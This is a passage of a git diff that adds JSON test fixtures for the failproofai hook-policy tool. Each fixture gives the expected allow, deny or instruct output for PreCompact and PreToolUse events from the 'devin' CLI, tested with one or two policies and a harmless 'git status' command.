"", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bf332358 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b34c3e02 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..22acca1f --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..54aa0993 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d1194817 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4d1d5d6c --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..09404198 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e0f9356a --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9a9dd99f --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..1573d960 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..43e0628f --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..df6ad470 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..eb8269c3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..be4cbc22 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..61680bbd --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..2ef15a1d --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b5cdd8b3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0bbd8711 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7edd46a5 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..de4e464c --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": 